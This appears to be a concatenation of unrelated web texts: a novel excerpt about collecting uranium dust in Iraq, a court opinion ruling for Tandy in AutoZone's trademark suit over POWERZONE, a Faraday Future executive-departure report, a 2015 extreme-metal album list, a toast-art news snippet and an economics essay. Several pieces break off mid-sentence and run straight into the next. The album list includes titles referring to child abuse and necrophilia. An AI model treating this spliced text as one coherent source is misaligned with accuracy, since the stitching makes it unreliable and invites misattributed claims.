you?” “Years ago.” Before I could say anything more, he’d caught my drift. “You’re thinking that might have been more satisfying? Bang, and it’s gone, the proof is there in front of you?” “One less mine, one less bomblet,” I said. “However many thousands there were to deal with, at least you could tick each one off as a definite achievement.” “That’s true. It was a good feeling.” He shrugged. “But what should we do? Give up on this, because it’s harder?” He took the truck down the slope, then supervised the students as they attached the wisps of polymer to the specialised winch they’d built. Hassan and Rashid were in their twenties, but they could easily have passed for adolescents. After the war, the dictator and his former backers in the west had found it mutually expedient to have a generation of Iraqi children grow up malnourished and without medical care, if they grew up at all. More than a million people had died under the sanctions. My own sick joke of a nation had sent part of its navy to join the blockade, while the rest stayed home to fend off boatloads of refugees from this, and other, atrocities. General Moustache was long dead, but his comrades-in-genocide with more salubrious addresses were all still at large: doing lecture tours, running think tanks, lobbying for the Nobel peace prize. As the strands of polymer wound around a core inside the winch’s protective barrel, the alpha count rose steadily. It was a good sign: the fine particles of uranium oxide trapped by the Wall had remained bound to the polymer during dehydration, and the reeling in of the net. The radiation from the few grams of U-238 we’d collected was far too low to be a hazard in itself; the thing to avoid was ingesting the dust, and even then the unpleasant effects were as much chemical as radiological. Hopefully, the polymer had also bound its other targets: the organic carcinogens that had been strewn across Kuwait and southern |
1110-11.
There are no genuine issues of material fact related to the marketing channels. Because both companies target the same potential customers and utilize many of the same marketing outlets, the marketing channel factor weighs in favor of likelihood of confusion.
6. Degree of Purchaser Care
The standard used by the courts in assessing the likelihood of confusion factor for degree of purchaser care is the "typical buyer exercising ordinary caution." Daddy's, 109 F.3d at 285. Generally, the factor weighs in the plaintiffs favor if consumers exercise less care because they are purchasing relatively inexpensive products but weighs in the defendant's favor where consumers exercise greater care because they are purchasing more expensive products. See Homeowners Group, 931 F.2d at 1111.
For purposes of summary judgment, Tandy does not contend that the relevant universe of customers possesses any special expertise or sophistication. In addition, Tandy does not argue that the goods sold under the respective trademarks are particularly expensive. This factor, therefore, weighs in favor of likelihood of confusion.
7. Tandy's Intent in Selecting the POWERZONE Mark
If a party chooses a mark with the intent of causing confusion, that fact alone may be sufficient to justify an inference of confusing similarity. See Homeowners Group, 931 F.2d at 1111. Direct evidence of copying is not necessary to prove intent. See Wynn Oil, 943 F.2d at 603. Rather, the use of the contested mark with knowledge of the protected mark at issue can support a finding of intentional copying. See id.
Several courts have determined that a defendant's adoption of a mark when aware of plaintiffs similar mark is sufficient to lead to an inference of intentional copying. For example, in Daddy's, the evidence of defendant's awareness of plaintiffs mark was small indeed; the court relied simply on the size of plaintiffs market presence to permit an inference of defendant's awareness of the mark. See Daddy's, 109 F.3d at 287. In addressing the issue of defendant's intent, the court conceded that "[a]dmittedly, the evidence which could support a finding of intentional copying is slight"; however, because the court was reviewing the grant of summary judgment for the defendant, it determined that the record contained sufficient facts to create an issue regarding whether defendant knew of plaintiffs mark and intentionally patterned its mark after plaintiffs mark. Id.
By contrast, other courts have noted that a junior user's mere knowledge or awareness of the senior user's mark is not the same as an intent to confuse to consumers. For example, the Second Circuit determined that "in the absence of evidence that defendant intended to promote confusion, adoption of a trademark with actual knowledge of another's prior registration of a very similar mark may be consistent with good faith." W.W.W. Pharmaceutical Co. v. Gillette Co., 984 F.2d 567, 575 (2d Cir.1993). Accord Arrow Fastener Co. v. Stanley Works, 59 F.3d 384 (2d Cir.1995). Good faith may be inferred, for example, if a defendant selected a mark which reflects the product's characteristics, requested a trademark search, or relied upon the advice of counsel. See id.
Tandy does not dispute that it had knowledge of AutoZone's trademark when it adopted its POWERZONE trademark. In fact, it acknowledges that the 1986 settlement agreement indicated that AutoZone would be adopting the AUTOZONE mark.
As evidence of Tandy's bad intent in selecting its POWERZONE mark, AutoZone contends that Tandy failed to conduct an adequate assessment of whether POWERZONE would infringe another trademark and failed to obtain a level of legal advice commensurate with its investment in a mark to be used in more than 7,000 stores nationwide. In addition, AutoZone contends that although the slanted line design is a prominent feature of the POWERZONE mark and is used extensively within the Radio Shack stores, Tandy never searched for possibly conflicting marks using that design element.
Tandy counters that it adopted the POWERZONE mark because it received the most positive feedback in a consumer study conducted by a third party. Furthermore, it asserts that the assessment actions it undertook in adopting the mark were adequate. These actions included a full Thomson and Thomson trademark search, which revealed numerous "zone" marks, including AutoZone's. Tandy contends, however, that its trademark assessment and the advice of counsel led it to believe that the other "zone" marks, including the AUTOZONE mark, posed no conflict with POWERZONE. Tandy contends that its efforts support a finding of good faith adoption of the mark.
In this case, the Court concludes that Tandy's knowledge of the AUTOZONE mark does not lead to the inference of an intent to deceive consumers. Rather, the Court finds that the marks are sufficiently dissimilar that, despite Tandy's awareness of AUTOZONE prior to the adoption of its mark, intent cannot be inferred. The case at bar is distinguishable from Daddy's and Champions, cases where the Sixth Circuit determined that a defendant's awareness of the plaintiffs mark precluded a finding of lack of intentional copying at summary judgment. In those cases, the marks at issue were much more similar than the marks in this case. For example, in Daddy's, the marks each prominently featured the word, "Daddy's." In Champions, the parties had selected the same exact name, "Champions Golf Club." As previously discussed, the Court finds that there are significant verbal and visual differences between the marks. If Tandy intended to trade off AutoZone's mark, it undoubtedly would have selected a mark that more closely resembled AUTOZONE. Furthermore, as recognized by the Second Circuit, the assessment efforts undertaken by Tandy are evidence of its good faith adoption. Given the dissimilarity of the marks and Tandy's assessment efforts prior to the adoption of its mark, the Court concludes that an inference of intentional copying is not proper in this case.
8. Likelihood of Expansion of Product Lines
A "strong possibility" that either party will expand its business to compete with the other or market to the same consumers will weigh in favor of finding that the present use is infringing. Homeowners, 931 F.2d at 1112. For the plaintiffs to benefit from this factor, they must present evidence that demonstrates a strong possibility that one party will expand to compete with the other.
In this case, AutoZone has presented no evidence suggesting it is expanding to compete in the consumer electronics industry. Furthermore, Tandy has no plans to expand to the automotive parts business. AutoZone claims that the factor weighs on its behalf because it already sells a number of the same products that are sold in the PowerZone section. However, the parties both concede that the factor has little relevance in this instance.
9. Conclusion
As noted above, the Sixth Circuit has explained that in order to preclude a grant of summary judgment, AutoZone must identify a factor or factors "whose resolution would necessarily be dispositive on the likelihood of confusion issue." Marketing Displays, 200 F.3d at 934. It is not enough to point to a disputed factor since any one factor alone may not be material. See id. In the case at bar, the Court finds that there are no genuine issues of material fact that would preclude a grant of summary judgment on AutoZone's trademark infringement claim. Looking at the eight factors together, the Court determines that the dissimilarity of the marks and the lack of evidence of actual confusion weigh strongly against a finding of likelihood of confusion. Factors that weigh in favor of a likelihood of confusion, including the strength of the AUTOZONE mark and the degree of purchaser care, are less persuasive. In summary, the Court concludes that there are no contested factors "whose resolution would necessarily be dispositive on the likelihood of confusion issue." See id. Therefore, the Court will grant summary judgment for Tandy on AutoZone's trademark infringement claim.
B. Trade Name Infringement
AutoZone alleges that Tandy adopted and used the confusingly similar mark POWERZONE notwithstanding the prior rights that it had acquired in the mark, AUTOZONE. AutoZone contends that this usage constitutes common law trade name infringement.
A trade name is a "word, name, symbol, device, or combination thereof used by an enterprise to identify its business and distinguish itself from other similar businesses." Corporate Catering, Inc. v. Corporate Catering, Etc. LLC, 2001 WL 266041 (Tenn.Ct.App.2001). The governing issue in a trade name infringement case is whether the purported infringer's use of a particular mark is likely to cause confusion. See Willowbrook Home Health Care Agency, Inc. v. Willow Brook Retirement Center, 769 S.W.2d 862, 867 (Tenn.Ct.App.1988). Tennessee courts have analyzed the likelihood of confusion under common law trade name infringement according to the eight factors identified by the Sixth Circuit. See id.
As stated above, an analysis using the eight factors for likelihood of confusion leads to the conclusion that use of the mark POWERZONE is not likely to cause confusion with AUTOZONE. Accordingly, the Court shall grant summary judgment for Tandy on AutoZone's trade name infringement claim.
C. Breach of contract
AutoZone's breach of contract claim is based on Tandy's use of an allegedly "confusingly similar" mark. Specifically, AutoZone alleges that Tandy's use of POWERZONE constitutes a breach of the settlement agreement from the earlier litigation. Section III.D of the agreement prohibits Tandy from using any trade name or mark which is confusingly similar to the AUTOZONE name, which was adopted as part of the settlement.
For the reasons stated above, the Court determines that the POWERZONE mark is not confusingly similar to AUTOZONE. Accordingly, use of the mark does not constitute a breach of the settlement agreement and the Court shall grant summary judgment for Tandy on AutoZone's breach of contract claim.
D. Unfair Competition
The Lanham Act imposes liability on "[a]ny person who, on or in connection with goods or services... uses in commerce... any false designation of origin, false or misleading description of fact, or false or misleading representation of fact, which... is likely to cause confusion, or to cause mistake, or to deceive... as to the origin... of his or her goods, services, or commercial activities." 15 U.S.C. § 1125(a). The deceptive practices prohibited by § 1125 have loosely been described as "unfair competition." See Johnson v. Jones, 149 F.3d 494, 502 (6th Cir.1998).
AutoZone argues that Tandy's adoption and use of the POWERZONE mark constitutes a false designation of origin within the meaning of the statute. Specifically, AutoZone alleges that Tandy used the POWERZONE mark "to confuse or deceive the public by misrepresenting the retail store services and products offered for sale... are in some way connected or affiliated with Plaintiffs."
For the reasons stated in the likelihood of confusion analysis above, the Court determines that Tandy's use of POWERZONE is not "likely to cause confusion, or to cause mistake, or to deceive... as to the origin" of its products. Accordingly, the Court shall grant summary judgment for Tandy on AutoZone's unfair competition claim.
E. Dilution
1. Discussion
The federal antidilution statute provides that "the owner of a famous mark shall be entitled, subject to the principles of equity and upon such terms as the court deems reasonable, to an injunction against another person's commercial use in commerce of a mark or trade name, if such use begins after the mark has become famous and causes dilution of the distinctive quality of the mark." 15 U.S.C. § 1125(c)(1). To prove a claim for dilution under the federal statute, the plaintiff must establish five necessary elements: (1) the senior mark must be famous; (2) it must be distinctive; (3) the junior use must be a commercial use in commerce; (4) it must begin after the senior mark has become famous; and (5) it must cause dilution of the distinctive quality of the senior mark. See Kellogg Co. v. Exxon Corp., 209 F.3d 562, 576-77 (6th Cir.2000) ("Kellogg") (citing Nabisco, Inc. v. PF Brands, Inc., 191 F.3d 208, 215 (2nd Cir.1999) ("Nabisco")).
A search revealed no reported Tennessee cases interpreting the Tennessee dilution statute. The Tennessee and federal dilution statutes are very similar and the Sixth Circuit has analyzed the claims together. See Kellogg, 209 F.3d at 577. As a result, the Court will examine both dilution claims utilizing the five factors outlined above.
Tandy admits that AutoZone is a famous mark for purposes of summary judgment; therefore, the first factor is satisfied. Likewise, the third and fourth factors are not contested in this matter.
The second factor, distinctiveness, refers to the inherent qualities of a mark and is a completely different concept from fame. See Nabisco, 191 F.3d at 215-26. Regarding the distinctiveness component, the Sixth Circuit recently adopted the discussion of the Second Circuit in Nabisco. See V Secret Catalogue, Inc. v. Moseley, 259 F.3d 464, 469 (6th Cir.2001) ("V Secret"). Quoting from the Nabisco opinion, the Sixth Circuit stated that "[a] mark that, notwithstanding its fame, has no distinctiveness is lacking the very attribute that the antidilution statute seeks to protect." Id. "Many famous marks are of the common or quality-claiming or prominence-claiming type — such as American, National, Federal, Federated, First, United, Acme, Merit, or Ace." Id. These marks, though famous, do not receive the protection of the dilution statute.
The federal antidilution statute itself offers some guidance with respect to an evaluation of a mark's distinctiveness. The statute instructs that:
In determining whether a mark is distinctive, a court may consider factors such as, but not limited to: (A) the degree of inherent or acquired distinctiveness of the mark; (B) the duration and extent of use of the mark in connection with the goods or services with which the mark is used; (C) the duration and extent of advertising and publicity of the mark; (D) the geographical extent of the trading area in which the mark is used; (E) the channels of trade for the goods or services with which the mark is used; (F) the degree of recognition of the mark in the trading areas and channels of trade used by the mark's owner and the person against whom the injunction is sought; (G) the nature and extent of use of the same or similar marks by third parties; and (H) whether the mark was registered under the Act of March 3, 1881, or the Act of February 20, 1905, or on the principal register. 15 U.S.C. § 1125(c)(1).
In addition to the above statutory analysis of distinctiveness, evaluation of distinctiveness in a traditional trademark infringement claim places a mark on a continuum reflecting its inherent strength or weakness. See Abercrombie & Fitch Co. v. Hunting World, Inc., 537 F.2d 4 (2d Cir.1976) (outlining the spectrum analysis that has gained broad acceptance). At the low end are generic words. See Nabisco, 191 F.3d at 215. "Such words are without distinctiveness and are ineligible for protection as marks because to give them protection would be to deprive competitors of the right to refer to their products by name." Id. More distinctive than generic marks are descriptive marks, those that describe the product or the attributes. See id. These have little inherent distinctiveness and are ineligible for protection unless they have acquired secondary meaning. See id. The next more distinctive marks are suggestive marks. See id. These marks do not name the product for which they are used, but suggest the qualities or claims of the product. The most distinctive marks are labeled arbitrary and fanciful. See id. A mark is arbitrary or fanciful if there is no logical relationship between the mark and the product for which it is used.
As noted, Tandy asserts that the AUTOZONE mark is not distinctive. Tandy primarily argues that the extensive use of the "zone" portion of its mark precludes a finding of distinctiveness.
Despite the evidence of third party use of "zone" marks, the uncontested evidence leads to a conclusion that AUTOZONE is correctly to be considered a distinctive mark regardless of whether the Court considers the statutory factors or the traditional spectrum approach. Several of the statutory factors lead to the conclusion that AUTOZONE is distinctive. For example, AutoZone began using the AUTOZONE mark in commerce in 1987. It operates approximately 3,000 stores in 42 states and it has advertised extensively using the AUTOZONE mark. Furthermore, AutoZone filed an affidavit under 15 U.S.C. § 1065 that rendered its registration of its mark incontestable, which entitles AutoZone "to a presumption that its registered trademark is inherently distinctive." Equine Technologies, Inc. v. Equitechnology, Inc., 68 F.3d 542, 545 (1st Cir. 1995).
Similarly, analysis using the traditional spectrum approach would lead to the same conclusion. Under such an analysis, the Court finds that, although AUTOZONE is neither arbitrary or fanciful, it has acquired secondary meaning, and therefore distinctiveness, in the retail auto parts market. Such a conclusion is supported by the evidence in the record that the mark has been used in commerce since 1987 and AutoZone has expended millions of dollars in advertising since that time.
The Court finds, as did Second Circuit in Nabisco, that the AUTOZONE mark is "neither near the top nor the bottom of the ladder of distinctiveness, but it is reasonably distinctive — certainly sufficiently so to qualify for the statute's protection." Nabisco, 191 F.3d at 216.
The final factor to be analyzed by the Court is the degree to which the junior use causes dilution of the distinctive quality of the mark. With respect to this factor, the Sixth Circuit's V Secret opinion also adopted the analysis of the Second Circuit in Nabisco. See v. Secret, 259 F.3d at 476. In particular, the court noted that the Second Circuit developed a list of ten nonexclusive factors to determine if dilution has, in fact, occurred. See id. These include: distinctiveness; similarity of the marks; proximity of the products and likelihood of bridging the gap; interrelationship among the distinctiveness of the senior mark, the similarity of the junior mark, and the proximity of the products; shared consumers and geographical limitations; sophistication of the consumers; actual confusion; adjectival or referential quality of the junior use; harm to the junior user and delay by the senior user; and the effect of the senior's prior laxity in protecting the mark. See id. After reciting this lengthy list, the Sixth Circuit summarily found that dilution had occurred, "even without an exhaustive consideration of all ten factors." See id. at 477. The opinion in V Secret, therefore, provides little guidance on the application of the prescribed factors. Consequently, the Court will look to the explication of the factors contained in the Nabisco opinion.
a. Distinctiveness of the senior mark
The court in Nabisco noted that distinctiveness plays a dual role in the dilution analysis. See Nabisco, 191 F.3d at 217. First, as noted above, it is a statutory element; under the statute, a mark does not receive protection unless it is distinctive. Second, the Nabisco court determined that the degree of distinctiveness of the senior mark will have a considerable bearing on whether the junior use will have a diluting effect. See id. at 217. The more distinctiveness the mark possesses, the greater is the interest to be protected from dilution.
For the reasons stated in the distinctiveness analysis above, the Court concludes that, for the purposes of dilution analysis, the AUTOZONE mark exhibits a moderate degree of distinctiveness, entitling it to a commensurate level of protection.
b. Similarity between the marks
The federal anti-dilution statute is silent on the question of how similar the conflicting marks must be to state a valid claim for dilution. Generally, however, the marks must be sufficiently similar so that, in the mind of the consumer, the junior mark will conjure an association with the senior. See id. Courts, including the Sixth Circuit, have determined that a valid claim for dilution requires greater similarity between the marks than for a likelihood of confusion claim. See Jet, 165 F.3d 419, 425 (6th Cir.1999). The Court reasoned in Jet that "[t]he purpose of anti-dilution laws is to provide a narrow remedy when the similarity between the two marks is great enough that even a noncompeting, nonconfusing use is harmful to the senior user." Id. In Jet, the Sixth Circuit affirmed summary judgment for the defendant by reasoning that, because JET and AEROB-A-JET were not similar enough to satisfy the likelihood of confusion test, they were not sufficient to support a dilution claim. Id.
Professor McCarthy notes that many states require marks in dilution cases to be "virtually identical," and that for dilution to occur, "the marks must at least be similar enough that a significant segment of the target group of customers sees the two marks as essentially the same." McCarthy, § 24:90.2.
In this case, the marks are different in sight, sound, and meaning; they share only the common descriptive suffix "zone." The most prominent portion of each mark is not the shared "zone" portion but the initial syllables. Accord Jet, 165 F.3d at 423. The facts in the case are similar to those in Jet, where the Sixth Circuit affirmed summary judgment for the defendant on plaintiff's dilution claim. The Court noted that "Jet's theory would permit it to enjoin the use of a vast number of registered trademarks containing the word `jet' and used in unrelated industries." Jet, 165 F.3d at 425-25. The similarity factor, therefore, weighs against a finding of dilution.
c. Proximity of the products and likelihood of "bridging the gap"
The Second Circuit in Nabisco concluded that similarity of the products was a relevant factor despite the fact that the legislative history of many antidilution statutes shows that legislatures were primarily concerned with junior uses of famous marks on products unrelated to the senior area of commerce. See Nabisco, 191 F.3d at 218. The court determined that dilution could just as easily occur on products that compete. See id. The court concluded, "the closer the junior user comes to the senior's area of commerce, the more likely it is that dilution will result from use of a similar mark." Id. at 219. Although the marks may not be used to compete with one another at present, the factor also "recognizes the senior's interest in preserving avenues of expansion and entering into related fields." Id.
As noted in the discussion of likelihood of confusion, the parties dispute the degree to which they compete. The Court concludes, as it did in the previous context, that the level of competition between AutoZone and Radio Shack is low, particularly given the breadth and divergence of the respective product lines. Furthermore, the parties have produced no evidence that they intend to enter each other's area of commerce. This factor, therefore, weighs against dilution.
d. Interrelationship among the distinctiveness of the senior mark, the similarity of the junior mark, and proximity of the products
The Second Circuit recognized that there is a close interrelationship among the first three factors such that the weaker any of the three factors may be, the stronger the others must be in order to make a case for dilution. See id. at 219-20. In this case, there is a moderately distinctive mark combined with marks that are fairly dissimilar used in different areas of commerce. Despite the relative distinctiveness of AutoZone's mark, the Court finds that there is a low likelihood of dilution.
e. Shared consumers and geographic limitations
This factor requires the court to examine the extent of the overlap among consumers of the senior user's products and the junior user's products. See id. As discussed in the context of likelihood of confusion, although the products offered by the two parties differ, the consumers represent the general public. Furthermore, each of the chains has a substantial national presence. As a result, this factor favors likelihood of dilution.
f. Sophistication of the consumers
As in the likelihood of confusion context, courts have found that consumers who are highly familiar with the particular market segment are less likely to be confused by similar marks; conversely, consumers who are unsophisticated are more vulnerable to confusion. See id. Tandy does not assert that the relevant consumer public has any special sophistication; therefore, this factor favors the likelihood of dilution.
g. Actual confusion
The court in Nabisco recognized that "while... neither actual confusion nor likelihood of confusion is necessary to sustain an action for dilution, it does not follow that actual confusion cannot be highly probative of dilution." Id. at 221. When consumers confuse the junior mark with the senior, dilution by blurring has occurred. See id.
AutoZone has offered no evidence of actual confusion. Therefore, the factor weighs against likelihood of dilution.
h. Adjectival or inferential quality of the junior mark
"The stronger the adjectival association between the junior use and the junior area of commerce, the less likelihood there is that the junior's use will dilute the strength of the senior mark." Id. at 221. "It is a generally accepted principle of trademark law that a senior claim to a mark does not bar a junior from using the same words (or symbols) comprising the mark in their descriptive sense." Id. (citing 15 U.S.C. § 1115(b)(4)).
In the current case, there is a strong association between Tandy's POWERZONE mark and the goods offered in that section of its stores. Furthermore, using the principle cited above by the Nabisco court, AutoZone's use of the "zone" component of its mark should not prevent other retailers from using the designation in their operations. This factor does not support a finding of likelihood of dilution.
i. Harm to the junior mark and delay by the senior user
This factor requires the court to consider "whether the senior user's effort to enjoin the junior use was made with reasonable promptness and whether the junior user will suffer harm resulting from any such delay." Id. at 222. The rationale for the factor is that the junior user may have accumulated substantial goodwill in the time before the suit.
In this case, AutoZone requested that Tandy cease using the POWERZONE designation within seven months of its commencement. AutoZone, therefore, did not permit any substantial delay in its enforcement efforts against Tandy.
j. Effect of the senior's prior laxity in protecting the mark
The court should also consider the senior user's prior laxity, if any, in allowing others to utilize other similar marks. See id. Tandy has produced evidence of third party use of "zone" marks and contends that AutoZone has exhibited renewed vigilance in protecting its mark in response to this lawsuit. When the evidence is viewed in the light most favorable to AutoZone, however, the Court determines that AutoZone has not been lax in protecting its mark.
2. Conclusion
The Court concludes that there is no genuine issue of material fact with respect to AutoZone's dilution claim against Tandy. To prove a claim for dilution under the federal statute, the plaintiff must establish five necessary elements: (1) the senior mark must be famous; (2) it must be distinctive; (3) the junior use must be a commercial use in commerce; (4) it must begin after the senior mark has become famous; and (5) it must cause dilution of the distinctive quality of the senior mark. Factors one, three, and four are conceded for purposes of summary judgment. The Court determines that the AUTOZONE mark is moderately distinctive, so the second factor is not fatal to AutoZone's claim. However, upon analysis of the factors recited by the Sixth Circuit in the V Secret case to determine if a junior use dilutes the distinctive qualities of the senior mark, AutoZone's dilution claim fails as a matter of law. After concluding that the AUTOZONE and POWERZONE marks are not sufficiently similar given the heightened similarity requirement in the dilution context, the other factors weighing in favor of dilution are inadequate to preclude summary judgment on AutoZone's dilution claim.
IV. Conclusion
For the above stated reasons, Tandy's motion for summary judgment on each of AutoZone's claims shall be GRANTED.
An appropriate order will enter.
ORDER
Plaintiffs AutoZone, Inc. and Speedbar, Inc. ("Plaintiffs") bring this action against defendant Tandy Corp. ("Defendant"). The complaint sets forth five claims: (1) service mark and trademark infringement; (2) trade name infringement; (3) breach of contract; (4) unfair competition; and (5) service mark and trademark dilution. Defendant moves for summary judgment on each of Plaintiffs' claims. For the reasons discussed in the accompanying memorandum, Defendant's motion is GRANTED in its entirety and Plaintiffs' claims are dismissed with prejudice.
It is so ordered.Faraday Future’s most prestigious hire and top listed executive, Marco Mattiacci of Ferrari fame, has reportedly left the company. It is only days away from its make-or-break production car debut at the Consumer Electronics Show.
Mattiacci held the top position on the company’s list of executives on its website, as chief brand and commercial officer.
The mysterious Chinese-backed Silicon Valley auto startup that made its break a year ago disappointing the world at the last CES. Things don’t look particularly good on that front at the moment.
Amazingly, Mattiacci is not the only executive to leave the company in this go. Joerg Sommer, another legacy hire from one of the largest car companies in the world, Volkswagen, also has left the company according to a report from The Verge.
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The Verge cited two unnamed sources, but did not receive comment from Faraday Future itself. Anonymous sources speaking to Jalopnik have also stated that Sommer had left, and we had heard rumors that Mattiacci had tension with the company. We have reached out to Faraday Future for an official comment.
Sommer held the position of vice president for product marketing and growth. Both are now off the company’s official webpage.
As of only a few weeks ago, Sommer told Jalopnik that he was happy at the company. He had been at Faraday Future only for a few months.
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With both of these positions having to do with new product and brand positioning, things do indeed look rough for Faraday Future as we sit only a week away from its CES reveal.
As we reported last week, Faraday Future struggles with securing funding from its Chinese tech billionaire investor Jia Yueting. Some sources close to the company and speaking on conditions of anonymity to Jalopnik believe that Faraday Future should be able to survive this next year, that funding will come as Jia repeatedly tells Faraday Future. But these departures, much like the six top executives who left the company earlier this year, point to deeper organizational problems within FF.Hey freaks, The Obituarist here, back with a monstrous year end list sure to excite any sadists out there seeking the best of the best from all walks of the extreme! These picks are merely what I liked and found most entertaining out of 2015's albums and EPs. I implore you to check out the bands, give them a like on facebook, and show some support by picking the albums up either physically or digitally… a healthy underground scene starts with your contribution!
Putridity – Ignominous Atonement Abyssal – Antikatastaseis Iniquitous Deeds – Incessant Hallucinations MisÞyrming – SÖNGVAR ELDS OG ÓREIÐU Horrendous – Anareta Iniquitous Savagery – Subversions Of The Pscyhe Sarpanitum – Blessed Be My Brothers Revulsed – Infernal Atrocity Hymenotomy – Some Necrophiles Having Sex with Naked Autopsied Bodies in the Morgue Abhorrent – Intransigence Pale Chalice – Negate the Infinite and Miraculous Parasitic Ejaculation – Echoes Of Depravity False – Untitled Sulphur Aeon – Gateway to The Antisphere So Hideous – Laurestine Morbid Vomit – Doctrine Of Violence Tribulation – The Children Of The Night Obsequiae – Aria of Vernal Tombs Repulsive Dissection – Church Of The Five Precious Wounds Ghost Bath – Moonlover MGLA – Exercises In Futility Cruciamentum – Charnel Passages Adversarial – Death, Endless Nothing and the Black Knife of Nihilism Castrensis – Hierarchies Abhira – Itihasa Purushartas Acherontas – Ma-Ion Vulnus – Vessels Of Throe Indecent Excision – Aberration Defaced – Forging The Sanctuary Viscral – Egocentric Underneath Of Horror Deathrite – Revelation Of Chaos Blurring – S/T Carnivorous Voracity – The Impious Doctrine Coffincraft – In Eerie Slumber Sickening – The Beyond Embodied Torment – Liturgy of Ritual Execution Kraanium – Chronicles of Perversion Reduced – Gradually Executed Cadavoracity – Remnants Of Chaotic Apogee Der Weg Einer Freiheit – Stellar Chapel Of Disease – The Mysterious Ways of Repetitive Art Abhorrent Deformity – Entity Of Malevolence Visceral Decay – Implosion Psychosis Gravitational Distortion – The Void Between Worlds Torturerama – Close Encounters Of The Morbid Kind Haar – The Wayward Ceremony Splitwig – Swine Blues Gorod – A Maze Of Recycled Creeds Enthrallment – Eugenic Wombs Death Curse – Death Curse Anal Fissure – Mind Of A Serial Killer Encenathrakh – S/T Haethen – Shaped By Aeolian Winds Amputory – Ode To Gore Sodomized – Raised In Meat Vorarephilia – Intrinsic Savagery Gruesome – Savage Land Serial Butcher – Brute Force Lobotomy Reviled – Hateful and Bloodshed Burst Bowel – Repelled Gift Dispexia – Blast Brain Carnage House Of Atreus – The Spear And The Ichor That Follows Aevangelist – Enthrall To The Void Of Bliss Hate Eternal – Infernus A Loathing Requiem – Acolytes Eternal Pissgrave – Suicide Euphoria Heaving Earth – Denouncing The Holy Throne Syphilic – Hereatt Heen Trance Alustrium – A Tunnel To Eden Sotajumala – Raunioissa Serocs – And The Sky Was Opened Downfall Of Nur – Umbras De Barbagia Alda – Passage Ectovoid – Dark Abstraction Tombstalker – Black Crusades Scythian – Hubris In Excelis Mass Burial – Soul’s Necrosis Gravesite – Horrifying Nightmares… Desolate Shrine – The Heart Of The Netherworld Putrevore – Tentacles Of Horror Maruta – Remain Dystopian Gorged Bile – Absterged From Hominal Patterns The Dark Prison Massacre – A Blood Clot Ejaculation Traumatomy – Monolith Of Absolute Suffering Undergang – Doden Laeger Alle Sar Undead Daredevil – Devastating Defeat For Mankind Severe Punishment – The Last Green Soul Wiegedood – De Doden Hebben Het Goed Under The Church – Rabid Armageddon Propaganda – The Mask Of Sanity Vattnet Viskar – Settler Oral Fistfuck – Spiritual Sickening Intravenous Contamination – Drowned In Human Fluids Pedofagia – Torturando La Infancia Murtad – Extirpate The Remaining Breath Mutilatred – Dissecting Your Future Gorelust – We Are The Undead Micawber – The Gods Of Outer Hell Demiurgon – Above The Unworthy Prion – Uncertain Process
20 Favorite EPs/Demo/Promo of 2015
Visceral Throne – Those Who Have Fallen Beyond The Grace Of God Expendiency – Promo 2015 Maggot Colony – Spewing The Violated Souls Analepsy – Dehumanization By Supremacy Guttural Disease – Periodical Torment Chalera – Promo 2015 Entheos – Primal Perfecitizen – Corten Cryptopsy – Book of Suffering: Tome I Nithing – Fetid Reek of Interminable Existence Diphenylchloroarsine – The 6 Level Purge Nerlich – Eternity’s Gate Ecchymosis – Promo 2015 Apoptosis Gutrectomy – Delusion Interminus Vitae Torturous Inception – Headfirst Into Oblivion Omnivorous – Age Of Maelstrom Drop – Savage Revenge Avulsed – Altar Of Disembowelment Sufism – Reptilia Buas Diffusal Blade – S/T
Bonus Fat: My 20 Favorite Downtempo/Deathcore releases of 2015
Black Tongue – The Unconquerable Dark XKiNGX – The Gathering Darke Complex – Widow Bereavement – Judgment ‘Sabella – Perennial Disclaimer – Force Fed Eavesdropper – Ruin Desolate – Ruiners Change Is – Insomnia Spite – S/T Feign – New World Order Falsifier – Life In Death Mauler – Street Shark Introvert – Self-Helpless Groundfeeder – S/T Filth – Tales From The Gutter Noose – What Has Become Hater – Navel String Destitute – S/T Purge – Conjure The Dead
Thanks for tuning in, miscreants! We'll see you next month with the first batch of sickness 2016 has to offer! In the mean time, make it your new years resolution to get involved and buy more underground albums… the bands will thank you!
Related PostsOne of the creative minds behind a toasty art installation that appeared at Tooting Broadway station has spoken out about the inspiration behind the unusual piece.
March 24: Hot crossed bunny: crucified rabbit appears as toast art outside Tooting Broadway station
Caspian Cunningham, an actor from Tooting, was one of the team that created the 'hot cross bunny', a rabbit, on a cross made entirely out of toast that was spotted outside the tube station in the days before the Easter bank holiday.
The 25-year-old said the crumbly art was the result of a House of Toast competition, a regular event run by a group called the Robin |
extracting large fees leaving taxpayers to cover the cost of economic damage. Andrew Haldane, Executive Director for Financial Stability at the Bank of England, in a March 2010 paper compared the banking industry to the auto industry – both produced pollutants, for cars, exhaust fumes; for banks, systemic risk.
In the early 20th century, German economist E.F. Schumacher observed that human beings had begun living of capital: “Mankind has existed for many thousands of years and has always lived off income. Only in the last hundred years has man forcibly broken into nature’s larder and is now emptying it out at breathtaking speed which increase from year to year”. That observation is now just as true about the economic and financial system as it is about the environment.
The approach creates inter-generational issues, an economic war between the old and young. In his novel Rabbit is Rich, John Updike’s hero Harry Angstrom passed judgement on the post war generation: “Seems funny to say it, but I’m glad I lived when I did. These kids coming up, they’ll be living on table scraps. We had the meal.”
Losing the Commanding Heights
The current crisis calls into question the ability of governments to maintain control of the economy of Lenin’s commanding heights – the most important and strategic elements of the economy.
In the eighteenth century, Western societies shifted from medieval systems of aristocratic and religious authority to models of reason, scientific method, rational discourse, personal liberty and individual responsibility. A tenet of this new faith was the ability to control the economy and markets with the application of applied mathematics and statistics.
In 1965 President Johnson’s Council of Economic Advisers led by Walter Heller stated: “Tools of economic policy are becoming more refined, more effective, and increasingly freed from inhibitions imposed by traditions, misunderstanding, and doctrinaire polemics.” The Council declared that economic policymakers could now “foresee and shape future development.” University of Chicago Professor Robert Lucas raised the bar on self-congratulation claiming in 2003 that macroeconomics had “solved, for all practical purposes” the problem of economic depression.
More recently, US Federal Reserve Chairman Ben Bernanke argued that improvements in monetary policy helped create the Great Moderation. In 2007, on the 10th anniversary of its independence in 2007, Bank of England Governor Sir Mervyn King spoke of a “sea change” in economic stability which he believed could not be dismissed “solely as a result of luck”.
But policy makers may not have the necessary tools to address deep-rooted problems in current models. Revitalised Keynesian economics may not be able to arrest long-term declines in growth as governments find themselves unable to finance themselves to maintain demand. It is not clear how if, at all, printing money or financial games can create real ongoing growth and wealth. Former German finance minister Peer Steinbruck questioned this approach: “When I ask about the origins of the crisis, economists I respect tell me it is the credit financed growth of recent years and decades. Isn’t this the same mistake everyone is suddenly making again?”
